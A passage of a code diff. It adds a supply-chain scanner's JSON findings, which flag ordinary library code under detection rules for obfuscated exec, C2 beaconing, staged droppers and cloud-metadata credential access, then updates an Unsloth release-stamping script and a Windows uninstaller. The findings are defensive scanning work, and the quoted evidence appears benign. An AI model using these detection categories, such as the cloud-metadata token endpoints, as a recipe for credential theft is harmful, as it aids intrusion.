'.linalg') | L20: __import__(__package__ + '.fft')\nExec: L12: exec(f\"{n} = torch.{n}\")", + "evidence_hash": "3167e0f828bc28964e5054786712d029e967fb8cacb40717978b7acafc68c1ea" + }, + { + "package": "scipy", + "file": "scipy/optimize/_optimize.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L4155: __import__(mod_name)\nExec: L323: def eval(x):", + "evidence_hash": "7935cfbe0634201c1ad7626bc38ae17c52cca968bbcfacea236f05c9576dcabd" + }, + { + "package": "setuptools", + "file": "pkg_resources/__init__.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L423: __import__(moduleOrReq) | L1739: code = compile(source, script_filename, 'exec') | L1750: script_code = compile(script_text, script_filename, 'exec') | L2562: __import__(parent) | L2785: module = __import__(self.module_name, fromlist=['__name__'], level=0)\nExec: L1740: exec(code, namespace, namespace) | L1751: exec(script_code, namespace, namespace)", + "evidence_hash": "ae52cd10e8d27abe5539a1e1abc11635cef6c2a68aba98579385d8d55271fcd4" + }, + { + "package": "setuptools", + "file": "setuptools/_distutils/compilers/C/base.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L1287: __import__(module_name)\nExec: L1114: if lib_type not in eval(expected):", + "evidence_hash": "368651e9818ed2d1bb009027d3bcfbf94ae30639c0882a6c2bddde97b8c4f1e5" + }, + { + "package": "setuptools", + "file": "setuptools/launch.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L31: code = compile(norm_script, script_name, 'exec')\nExec: L32: exec(code, namespace)", + "evidence_hash": "eae05adb1b163466a753f16be119072581011fa2a9f1cbd80d2e69ea3c7d20d9" + }, + { + "package": "setuptools", + "file": "setuptools/tests/config/test_pyprojecttoml.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L387: \"setup.py\": \"__import__('setuptools').setup(include_package_data=False)\",\nExec: L98: \"__main__.py\": \"def exec(): print('hello')\",", + "evidence_hash": "067d41014f72a61d8b4adf25f3659d1f66a0e909f732223f48837aa7684df4e6" + }, + { + "package": "setuptools", + "file": "setuptools/tests/test_editable_install.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L120: SETUP_SCRIPT_STUB = \"__import__('setuptools').setup()\"\nExec: L447: exec(finder, loc, loc)", + "evidence_hash": "a78d7f5af7eb4ba92656cda258c195b92f6337c585c97d0823e47a9d4a2eb15d" + }, + { + "package": "setuptools", + "file": "setuptools/wheel.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L35: NAMESPACE_PACKAGE_INIT = \"__import__('pkg_resources').declare_namespace(__name__)\\n\"\nExec: L191: def eval(req, **env): | L212: (req for req in reqs if for_extra(req) and eval(req, extra=extra)),", + "evidence_hash": "9c22b176a4660dcc5d3d16a78b1994e600707a6ee78eb413757e677dc3d903ce" + }, + { + "package": "six", + "file": "six.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L87: __import__(name)\nExec: L740: exec(\"\"\"exec _code_ in _globs_, _locs_\"\"\")", + "evidence_hash": "3cb7d8247dea7dd3d7b21ededc0181c58c50099aeb73c9138a286f3d1ad92d4f" + }, + { + "package": "sympy", + "file": "sympy/external/importtools.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L145: mod = __import__(module, **import_kwargs) | L154: __import__(module + '.' + submod)\nExec: L21: return eval(debug_str)", + "evidence_hash": "bae3d873046013ecbe4fb6b4dd707d55593bc85436779063a4792c817323f7ce" + }, + { + "package": "sympy", + "file": "sympy/plotting/experimental_lambdify.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L249: namespace.update({'math': __import__('math')}) | L251: namespace.update({'cmath': __import__('cmath')}) | L254: namespace.update({'np': __import__('numpy')}) | L259: namespace.update({'imath': __import__(\nL260: 'sympy.plotting.intervalmath', fromlist=['intervalmath'])}) | L261: namespace.update({'math': __import__('math')})\nExec: L268: exec(\"MYNEWLAMBDA = %s\" % eval_str, namespace)", + "evidence_hash": "a2cf99a96863e82c132ede769f9277f642f283c70e9db637b0a9b949186343cf" + }, + { + "package": "sympy", + "file": "sympy/utilities/lambdify.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L919: c = compile(funcstr, filename, 'exec')\nExec: L163: module = eval(import_command) | L170: exec(import_command, {}, namespace) | L903: exec(ln, {}, namespace) | L909: exec(ln, {}, namespace) | L920: exec(c, namespace, funclocals)", + "evidence_hash": "ab4f5819576a70038301668b8f3e4a781c4b757b146117d5d93eab1896a5a6cd" + }, + { + "package": "tensorboard", + "file": "tensorboard/plugins/projector/tf_projector_plugin/projector_binary.js", + "check": "Python wheel ships large JS bundle (uncommon; manually review)", + "severity": "HIGH", + "evidence": "sha256: 53c38430766be25dc672a30846ac3b9eba86aee35eb0746785ec012647c7d9a2", + "evidence_hash": "2c6384e8115a6d5dacf1f84d8f724832d8dc59feb442bb98ffae0857c0ccb381" + }, + { + "package": "torch", + "file": "torch/_dynamo/bytecode_debugger.py", + "check": "Anti-analysis/sandbox evasion + suspicious behavior", + "severity": "HIGH", + "evidence": "Anti: L1052: self._old_trace = sys.gettrace() | L1053: sys.settrace(self._settrace_callback) | L1113: sys.settrace(self._old_trace)\nExec: L684: result = eval(arg, frame_globals, eval_locals) | L709: result = eval(cmd, frame_globals, eval_locals) | L717: exec(cmd, frame_globals, eval_locals)", + "evidence_hash": "dc2afd1769d357c15b69802bd2799fafa059c0b1dcdd4937528fb5b601962f1b" + }, + { + "package": "torch", + "file": "torch/_functorch/_aot_autograd/subclass_codegen.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L342: code = compile(source, f\"<{artifact_name}>\", \"exec\")\nExec: L344: exec(code, globals_dict, local_dict)", + "evidence_hash": "b3c8fac5f30b611618085c8fa146ab48c9e00defba83aa4df2e3a570db00bf67" + }, + { + "package": "torch", + "file": "torch/fx/experimental/rewriter.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L44: code = compile(dest_ast, \"\", \"exec\")\nExec: L47: exec(code, globals_dict)", + "evidence_hash": "76374f96feed416eec390458843621f33524cfb8d93ef0f3eb4cb1b47d0ad748" + }, + { + "package": "torch", + "file": "torch/fx/graph_module.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L106: exec(compile(src, key, \"exec\"), globals)\nExec: L106: exec(compile(src, key, \"exec\"), globals)", + "evidence_hash": "db35f4d5ce3b1ad6466e6438be3f2a1806e83ca95edb020eb9869e6cc6080a15" + }, + { + "package": "torch", + "file": "torch/package/package_importer.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L599: def __import__(self, name, globals=None, locals=None, fromlist=(), level=0):\nExec: L412: exec(code, ns)", + "evidence_hash": "c7c0650f0c74a086d224112f77ee76634b8f47afc047ce27fee8c7fc45560512" + }, + { + "package": "triton", + "file": "triton/runtime/interpreter.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L1435: compiled_code = compile(transformed_ast, filename=self.filename, mode='exec')\nExec: L1441: exec(compiled_code, fn_globals, local_namespace)", + "evidence_hash": "ccde8f3fb7193b8004d8042fe1de107f19ab5f540300024ec43f9c0047c2a711" + }, + { + "package": "unsloth-zoo", + "file": "tests/test_compiler_dynamic_exec.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L126: code = compile(source, f\"<{entry_point}>\", \"exec\")\nExec: L134: exec(code, sandbox)", + "evidence_hash": "85af0176d2a3662e7c269f7a397cca8d92eb79eb6d106b3e58a54c7a102cef69" + }, + { + "package": "unsloth-zoo", + "file": "tests/test_fused_forward_install.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L268: code = compile(src, fake_path, \"exec\")\nExec: L269: exec(code, namespace)", + "evidence_hash": "0bd08f4d68c9f3bf3dd91d3351a4c7a6c44c2f494c70776750e821fbbbad4faa" + }, + { + "package": "unsloth-zoo", + "file": "tests/test_mlx_trainer_internals.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L1158: assert ppl == pytest.approx(__import__(\"math\").exp(2.5))\nExec: L1136: def eval(self):", + "evidence_hash": "c409327ef6420cc0c7224506fcb82b11bbc9838a6f2f97c9c2cfc00a40c4cdbf" + }, + { + "package": "unsloth-zoo", + "file": "tests/test_upstream_pinned_symbols_trl_vllm.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L379: mod = __import__(modpath, fromlist=[\"Logprob\"])\nExec: L238: \"unsloth_zoo dispatch via `eval(f'trl.trainer.{trainer_file}.{name}')` breaks\"", + "evidence_hash": "ffcaf5f1fd295f3d6e9b59d792392e22e3e4a1eb8c494edd82f815d90323ae55" + }, + { + "package": "unsloth-zoo", + "file": "unsloth_zoo/compiler.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L1013: _mod = __import__(model_location, fromlist=items) | L4295: f\" {chr(92)}{chr(92)} /| Num examples = {num_examples:,} | Num Epochs = {num_train_epochs:,} | Total steps = {max_steps:,}\\\\n\"\\\\\nL4296: f\"O^O/ {chr(92)}_/ {chr(92)} Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL4297: f\"{chr(92)} / Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nL4298: f' \"-____-\" Trainable parameters = {get_model_param_count(model, trainable_only=True):,} of {get_model_param_count(model):,} ({get_model_param_count(model, trainable_only=True)/get_model_p sha256:9e832c1e7b2815aa44dc42638d821cb9df22550db88d85bd4bfb29c13f984b53 | L4296: f\"O^O/ {chr(92)}_/ {chr(92)} Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL4297: f\"{chr(92)} / Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nL4298: f' \"-____-\" Trainable parameters = {get_model_param_count(model, trainable_only=True):,} of {get_model_param_count(model):,} ({get_model_param_count(model, trainable_only=True)/get_model_p sha256:9e832c1e7b2815aa44dc42638d821cb9df22550db88d85bd4bfb29c13f984b53 | L4295: f\" {chr(92)}{chr(92)} /| Num examples = {num_examples:,} | Num Epochs = {num_train_epochs:,} | Total steps = {max_steps:,}\\\\n\"\\\\\nL4296: f\"O^O/ {chr(92)}_/ {chr(92)} Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL4297: f\"{chr(92)} / Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nExec: L612: if eval(_dtype) is not None: | L613: dtype = eval(_dtype) | L955: _modeling_file = eval(model_location) | L1255: f = eval(f\"{model_location}.{module}\") | L1563: exec(f\"def raise_{j}(*args, **kwargs): print('{function}')\", globals(), locals()) | L1564: try: exec(f\"EMPTY_LOGITS.{function} = raise_{j}\", globals(), locals()) | L2699: exec(f\"import {parent}\", locals(), globals()) | L2830: dir(eval(parent)), | L2834: exec(f\"{parent}.{child}.forward = forward\", globals(), locals()) | L2908: module = eval(f\"modeling_file.{module}\") | L2935: inner_class = eval(f\"modeling_file.{inner_class}\") | L3065: exec(f\"from timm.layers.norm_act import {norm}\") | L3073: forward = eval(norm).forward | L3079: exec(f\"timm.layers.norm_act.{norm}.forward = forward\") | L3096: exec(f\"from timm.models._efficientnet_blocks import {block}\") | L3104: forward = eval(block).forward | L3110: exec(f\"timm.models._efficientnet_blocks.{block}.forward = forward\") | L3389: exec(f\"import {model_location}\", globals()) | L3392: modeling_file = eval(model_location) | L3405: exec(\nL3406: \"model_logger.addFilter(HideLoggingMessage('`use_cache`'))\", globals(), locals()\nL3407: ) | L3409: exec(\nL3410: \"model_logger.addFilter(HideLoggingMessage('compile_config'))\",\nL3411: globals(),\nL3412: locals(),\nL3413: ) | L3564: source = eval(f\"modeling_file.{module}\") | L3578: source = eval(f\"modeling_file.{module}\") | L3679: source = eval(f\"modeling_file.{module}\") | L3717: source = eval(f\"{model_location}.{module}\") | L3788: source = eval(f\"{model_location}.{module}\") | L3836: source = eval(f\"{model_location}.{module}\") | L4058: source = eval(f\"{model_location}.{module}\") | L4069: exec(\nL4070: f\"{model_location}.{module}._update_causal_mask = no_update_causal_mask\",\nL4071: globals(),\nL4072: ) | L4135: source = eval(f\"{model_location}.{module}\") | L4176: module_cls = eval(f\"{model_location}.{module}\") | L4213: module_cls = eval(f\"{model_location}.{module}\") | L4280: exec(\nL4281: \"from transformers.trainer import (\" + \", \".join(x for x in good_items) + \")\",\nL4282: globals(),\nL4283: ) | L4345: exec(inner_training_loop, globals()) | L4353: function = eval(f\"{model_location}.{module}\") | L4431: function = eval(f\"{model_location}.{module}\") | L4566: source = eval(f\"{model_location}.torch\") | L4573: function = eval(f\"source.nn.{module}\") | L4632: exec(\nL4633: f\"{model_location}.torch.nn.{module}.forward = forward\",\nL4634: globals(),\nL4635: locals(),\nL4636: ) | L4638: exec(\nL4639: f\"{model_location}.nn.{module}.forward = forward\",\nL4640: globals(),\nL4641: locals(),\nL4642: ) | L4646: exec(\nL4647: f\"combined_module.torch.nn.{module}.forward = forward\",\nL4648: globals(),\nL4649: locals(),\nL4650: ) | L4652: exec(\nL4653: f\"combined_module.nn.{module}.forward = forward\",\nL4654: globals(),\nL4655: locals(),\nL4656: ) | L4673: exec(\nL4674: f\"{model_location}.{module} = combined_module.{module}\",\nL4675: globals(),\nL4676: locals(),\nL4677: ) | L4687: check_dicts = dir(eval(f\"{model_location}\")) | L4689: item = eval(f\"{model_location}.{check}\") | L4699: exec(\nL4700: f\"{model_location}.{check}['{key}'] = combined_module.{replaced_class}\",\nL4701: globals(),\nL4702: locals(),\nL4703: )", + "evidence_hash": "ec1875fd32d00fe885e566ebda75163e46e838ca31020abb57e0991892c2bdf7" + }, + { + "package": "unsloth-zoo", + "file": "unsloth_zoo/fused_losses/forward_install.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L274: code = compile(new_src, synthetic_path, \"exec\")\nExec: L275: exec(code, ns)", + "evidence_hash": "33b0c2ba90758a5ed84578c1d03364cb307f393e9fbb1da370ae06991e0dc7c4" + }, + { + "package": "unsloth-zoo", + "file": "unsloth_zoo/mlx/loader.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L2869: _mod = __import__(module_name, fromlist=[\"_\"])\nExec: L148: mx.eval(model.parameters()) | L180: mx.eval(model.parameters()) | L732: mx.eval(model.parameters()) | L733: mx.eval(mx.distributed.all_sum(mx.array(1.0), stream=mx.cpu)) | L799: mx.eval(model.parameters()) | L802: mx.eval(mx.distributed.all_sum(mx.array(1.0), stream=mx.cpu)) | L2673: model.eval() | L3256: mx.eval(model.parameters()) | L3372: mx.eval(module.weight) | L5666: mx.eval(model.parameters()) | L5716: mx.eval(model.parameters()) | L5859: mx.eval(model.parameters())", + "evidence_hash": "7b44760032c5df6d379ccfdd0bff3d23f857f64e08210fa0fba8d2881d457634" + }, + { + "package": "unsloth-zoo", + "file": "unsloth_zoo/patching_utils.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L706: compile(new_source, '', 'exec')\nExec: L221: try: exec(_try_compile_argument) | L226: try: exec(_try_dynamo_argument) | L570: exec(\"from torch._dynamo.compiled_autograd import (\" + \", \".join(x for x in good_items) + \")\", globals()) | L571: exec(source, globals()) | L596: exec(\"from torch._dynamo.variables.misc import (\" + \", \".join(x for x in good_items) + \")\", globals()) | L597: exec(source, globals()) | L686: exec(f\"from transformers.integrations.bitsandbytes import ({x})\", globals()) | L749: exec(source, globals())", + "evidence_hash": "f4c3d4a58360b4572b174f74d5250b661bb6b9ac942a07cca49cd42c23baf4c2" + }, + { + "package": "unsloth-zoo", + "file": "unsloth_zoo/saving_utils.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L4015: module = __import__('transformers', fromlist=[model_class_name])\nExec: L3897: exec(f\"from transformers.modeling_utils import ({', '.join(functions)})\", locals(), globals()) | L3943: exec(save_pretrained, globals(), functions)", + "evidence_hash": "530b2383acd9fe8330aa65cd0bf86164aaacd47770e7c8d0752195bee36396ec" + }, + { + "package": "werkzeug", + "file": "werkzeug/routing/rules.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L836: code = compile(module, \"\", \"exec\")\nExec: L736: exec(code, globs, locs)", + "evidence_hash": "5c0992c90f05c772abd94d00784f157de337e1f8567f8b3aee1b15e46c96cd5d" + }, + { + "package": "unsloth-zoo", + "file": "tests/test_mlx_save_export_regressions.py", + "check": "Writes to /tmp and executes (staged dropper)", + "severity": "CRITICAL", + "evidence": "L165: temporary_location=\"/tmp/ignored\", sha256:ab5c587f9ec31a0cc10ee55698ab133a417148d9d3f371bbc81b1e13fa119c13", + "evidence_hash": "93a11159147aad94f353ec4d2e0b8486b256abef88cd96d741813222cd32b138" + }, + { + "package": "unsloth-zoo", + "file": "tests/test_vision_collator_audio.py", + "check": "Writes to /tmp and executes (staged dropper)", + "severity": "CRITICAL", + "evidence": "L111: out = extract_audio_info(msgs({\"type\": \"audio\", key: \"/tmp/a.wav\"})) sha256:2efe23ffbe2b91b8403aec9b700736919b59e5ca770f8e1f5501651b44b7d398", + "evidence_hash": "d416b79dd17b24214f3f7653ac01354507d7bf0fc464dee30a4a4b8998f063ba" + }, + { + "package": "openai", + "file": "openai/_base_client.py", + "check": "C2 polling/beaconing loop detected", + "severity": "CRITICAL", + "evidence": "L274: while True: sha256:90a38e5c1e26893c7c273354143612640e9a9c0f079d3e2b60612d79f24e80a6", + "evidence_hash": "1022e8e8649436ec64a98a9d9141d085452c49549fd2157b0278fc369a83ac66" + }, + { + "package": "openai", + "file": "openai/auth/_workload.py", + "check": "Accesses cloud metadata/IMDS AND makes network calls", + "severity": "CRITICAL", + "evidence": "IMDS: L97: url = \"http://169.254.169.254/metadata/identity/oauth2/token\" | L150: url = \"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/identity\"\nNetwork: L78: http_client: httpx.Client | None = None, | L109: with httpx.Client() as client: | L134: http_client: httpx.Client | None = None, | L156: with httpx.Client() as client: | L251: exchange_client = DefaultHttpx2Client(follow_redirects=False) if self._use_httpx2 else httpx.Client()", + "evidence_hash": "9717e51cb961dc14c458955d91a1e48e3753997346ecea0106bded3a8d64bfe0" + }, + { + "package": "openai", + "file": "openai/resources/beta/responses/responses.py", + "check": "C2 polling/beaconing loop detected", + "severity": "CRITICAL", + "evidence": "L4000: while True: sha256:f8ab538118daba9ec06e27399dbdc90a4521c3390e6a47a6348a1f180a83effd", + "evidence_hash": "31481ea83c687acc27144d72d3832d4fb98dd1c79fb5e0ddd85080de95997b9f" + }, + { + "package": "openai", + "file": "openai/resources/realtime/realtime.py", + "check": "C2 polling/beaconing loop detected", + "severity": "CRITICAL", + "evidence": "L311: while True: sha256:5b63313072aae9ca28677e03426513ccf12221e4f4e0ea6c31efbe09790633b5", + "evidence_hash": "05e1af469d651b51673763a7c4cdf759af9472fb627b7b470adc28cc237bd650" + }, + { + "package": "openai", + "file": "openai/resources/responses/responses.py", + "check": "C2 polling/beaconing loop detected", + "severity": "CRITICAL", + "evidence": "L3951: while True: sha256:d68ef896bf0743ca430cfacb9a3353da1f3b9c51c3a21b6450a07a32b55aa2ac", + "evidence_hash": "160eecdd79b521bffbe8476f782b69a0724c35d1b19376a7600807165fd54f9f" + }, + { + "package": "unsloth-zoo", + "file": "tests/test_gemma4_forced_float32_ple_dtype.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L277: compile(rewritten + _GEMMA4_PLE_CAST_HELPER, \"\", \"exec\") | L440: compile(on, \"\", \"exec\") | L468: compile(generated, \"\", \"exec\")\nExec: L19: exec(_GEMMA4_PLE_CAST_HELPER, namespace)", + "evidence_hash": "a85e24d8e7c431563cbd83b70f91a3b971abde0f37083d68e70984147960cc70" + }, + { + "package": "unsloth-zoo", + "file": "tests/test_vision_collator_audio.py", + "check": "Writes to /tmp and executes (staged dropper)", + "severity": "CRITICAL", + "evidence": "L111: out = extract_audio_info(msgs({\"type\": \"audio\", key: \"/tmp/a.wav\"})) sha256:022f81dd21acfc6a35a058de96132834c218404a9e37b3d09a7768a8c8f6c728", + "evidence_hash": "2d1e75446af120d9133a42aa8af426a839d3434d9dc109cc1d6c1b22ca1ddb75" + } + ] +} diff --git a/scripts/stamp_studio_release.py b/scripts/stamp_studio_release.py index 7dab35ea8a..739f6d1063 100644 --- a/scripts/stamp_studio_release.py +++ b/scripts/stamp_studio_release.py @@ -2,7 +2,7 @@ # SPDX-License-Identifier: AGPL-3.0-only # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 -"""Stamp and verify display-only Studio release metadata for builds.""" +"""Stamp and verify display-only Unsloth release metadata for builds.""" from __future__ import annotations @@ -50,7 +50,7 @@ MAX_VERSION_LENGTH = 64 PLACEHOLDER = """# SPDX-License-Identifier: AGPL-3.0-only # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 -\"\"\"Build-stamped Studio release metadata. +\"\"\"Build-stamped Unsloth release metadata. Release builds may rewrite this module in the build workspace before creating Python artifacts. Keep the committed value neutral so source checkouts do not @@ -145,7 +145,7 @@ def build_info_source(version: str | None) -> str: return f'''# SPDX-License-Identifier: AGPL-3.0-only # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 -"""Build-stamped Studio release metadata.""" +"""Build-stamped Unsloth release metadata.""" STUDIO_RELEASE_VERSION = {literal} ''' @@ -168,7 +168,7 @@ def stamp(require_release: bool) -> int: version, source = resolve_version() if version is not None and not is_valid_version(version): print( - f"Invalid Studio release version from {source}: {version!r}", + f"Invalid Unsloth release version from {source}: {version!r}", file = sys.stderr, ) return 2 @@ -196,9 +196,9 @@ def stamp(require_release: bool) -> int: if version is None: if require_release: print( - "No Studio release version available. Set " + "No Unsloth release version available. Set " "UNSLOTH_STUDIO_RELEASE_VERSION, build from a GitHub tag, " - "or run from an exact local Studio release tag.", + "or run from an exact local Unsloth release tag.", file = sys.stderr, ) return 2 @@ -207,7 +207,7 @@ def stamp(require_release: bool) -> int: return 0 _atomic_write_text(BUILD_INFO_PATH, build_info_source(version), encoding = "utf-8") - print(f"Stamping Studio release version {version} from {source}", file = sys.stderr) + print(f"Stamping Unsloth release version {version} from {source}", file = sys.stderr) print(version) return 0 @@ -233,7 +233,7 @@ def _read_sdist_member(path: Path) -> str | None: def verify_dist(expected: str, dist_dir: Path) -> int: if not is_valid_version(expected): - print(f"Invalid expected Studio release version: {expected!r}", file = sys.stderr) + print(f"Invalid expected Unsloth release version: {expected!r}", file = sys.stderr) return 2 artifacts = list(dist_dir.glob("*.whl")) + list(dist_dir.glob("*.tar.gz")) @@ -251,14 +251,14 @@ def verify_dist(expected: str, dist_dir: Path) -> int: if content is None: failures.append(f"{artifact.name}: missing {BUILD_INFO_SUFFIX}") elif expected_line not in content: - failures.append(f"{artifact.name}: Studio release version mismatch") + failures.append(f"{artifact.name}: Unsloth release version mismatch") if failures: for failure in failures: print(failure, file = sys.stderr) return 2 - print(f"Verified Studio release version {expected} in {len(artifacts)} artifact(s)") + print(f"Verified Unsloth release version {expected} in {len(artifacts)} artifact(s)") return 0 diff --git a/scripts/uninstall.ps1 b/scripts/uninstall.ps1 index f0f6e4fddc..9b6e6ebb86 100644 --- a/scripts/uninstall.ps1 +++ b/scripts/uninstall.ps1 @@ -22,19 +22,68 @@ function Uninstall-UnslothStudio { param([string]$Path) if ([string]::IsNullOrWhiteSpace($Path)) { return } if (-not (Test-Path -LiteralPath $Path)) { return } - for ($attempt = 1; $attempt -le 3; $attempt++) { + for ($attempt = 1; $attempt -le 4; $attempt++) { try { Remove-Item -LiteralPath $Path -Recurse -Force -ErrorAction Stop + } catch { + if ($attempt -lt 4) { Start-Sleep -Milliseconds 700; continue } + _Substep "could not remove: $Path ($($_.Exception.Message))" "Yellow" + return + } + # Remove-Item -Recurse can report success yet leave a transiently-locked + # child (e.g. unsloth.ico in Explorer's icon cache); verify + retry so we + # never falsely claim "removed" or orphan the dir. + if (-not (Test-Path -LiteralPath $Path)) { _Substep "removed: $Path" "Green" return - } catch { - if ($attempt -lt 3) { Start-Sleep -Milliseconds 700; continue } - _Substep "could not remove: $Path ($($_.Exception.Message))" "Yellow" } + if ($attempt -lt 4) { Start-Sleep -Milliseconds 700; continue } + _Substep "still present (files held open): $Path" "Yellow" } } - # A path is a Studio-owned root iff one of install.ps1's sentinels exists: + # Remove the shared data dir, but keep unsloth.ico if a WSL shortcut still points + # at it (else that shortcut blanks); uninstall.sh drops it when WSL is removed. + function _RemoveDataDirKeepingWslIcon { + param( + [string]$DataDir, + # WSL-shortcut search dirs; default Start Menu + Desktop, overridable for tests. + [string[]]$ShortcutDirs = $null + ) + if ([string]::IsNullOrWhiteSpace($DataDir)) { return } + if (-not (Test-Path -LiteralPath $DataDir)) { return } + # $null = not passed (use defaults); test $null not truthiness so an explicit + # @() is honored (-not @() is $true). + if ($null -eq $ShortcutDirs) { + # Guard $env:APPDATA: it can be unset in service/CI Windows contexts, where + # an unguarded Join-Path emits a noisy parameter-binding error. + $ShortcutDirs = @() + if (-not [string]::IsNullOrWhiteSpace($env:APPDATA)) { + $ShortcutDirs += Join-Path $env:APPDATA "Microsoft\Windows\Start Menu\Programs" + } + try { + $desktop = [Environment]::GetFolderPath("Desktop") + if (-not [string]::IsNullOrWhiteSpace($desktop)) { $ShortcutDirs += $desktop } + } catch {} + } + $wslShortcuts = @() + foreach ($d in $ShortcutDirs) { + if ($d -and (Test-Path -LiteralPath $d)) { + $wslShortcuts += Get-ChildItem -LiteralPath $d -Filter "Unsloth Studio (WSL*.lnk" -ErrorAction SilentlyContinue + } + } + if (@($wslShortcuts).Count -eq 0) { + _RemovePath $DataDir + return + } + # A WSL shortcut survives: drop everything except its shared icon. + _Substep "keeping $(Join-Path $DataDir 'unsloth.ico') for the WSL shortcut" "Gray" + Get-ChildItem -LiteralPath $DataDir -Force -ErrorAction SilentlyContinue | ForEach-Object { + if ($_.Name -ne "unsloth.ico") { _RemovePath $_.FullName } + } + } + + # A path is an Unsloth-owned root iff one of install.ps1's sentinels exists: # \share\studio.conf, \unsloth_studio\.unsloth-studio-owned, # or \bin\unsloth.exe. function _IsStudioRoot { @@ -115,7 +164,7 @@ function Uninstall-UnslothStudio { return $p } - # Discover non-default Studio roots from env vars + studio.conf files. + # Discover non-default Unsloth roots from env vars + studio.conf files. # Mirrors install.ps1's precedence: UNSLOTH_STUDIO_HOME wins, STUDIO_HOME # is ignored when both are set, so uninstalling install A doesn't also # delete install B if the user has a stale STUDIO_HOME pointing at B. @@ -158,7 +207,7 @@ function Uninstall-UnslothStudio { # Return $true iff the PID's image path lives under one of $KnownRoots. # Prevents killing an unrelated process that happens to listen on a stale - # Studio port. + # Unsloth port. function _PidUnderKnownRoot { param([int]$Pid_, [string[]]$KnownRoots) if (-not $KnownRoots -or $KnownRoots.Count -eq 0) { return $false } @@ -174,8 +223,8 @@ function Uninstall-UnslothStudio { return $false } - # Stop a Studio backend whose port is recorded in \studio.port. - # Only kills if the listening PID's exe path is under a known Studio root. + # Stop an Unsloth backend whose port is recorded in \studio.port. + # Only kills if the listening PID's exe path is under a known Unsloth root. function _StopByPortFile { param([string]$PortFile, [string[]]$KnownRoots) if (-not (Test-Path -LiteralPath $PortFile -PathType Leaf)) { return } @@ -287,6 +336,9 @@ function Uninstall-UnslothStudio { $defaultUnslothHome = if ($env:USERPROFILE) { Join-Path $env:USERPROFILE ".unsloth" } else { $null } $defaultLlamaCpp = if ($defaultUnslothHome) { Join-Path $defaultUnslothHome "llama.cpp" } else { $null } $defaultCache = if ($defaultUnslothHome) { Join-Path $defaultUnslothHome ".cache" } else { $null } + # Isolated Node.js runtime (install_node_prebuilt.py), a sibling of studio in + # default mode. No-op in env/custom mode (nested under the custom root) and 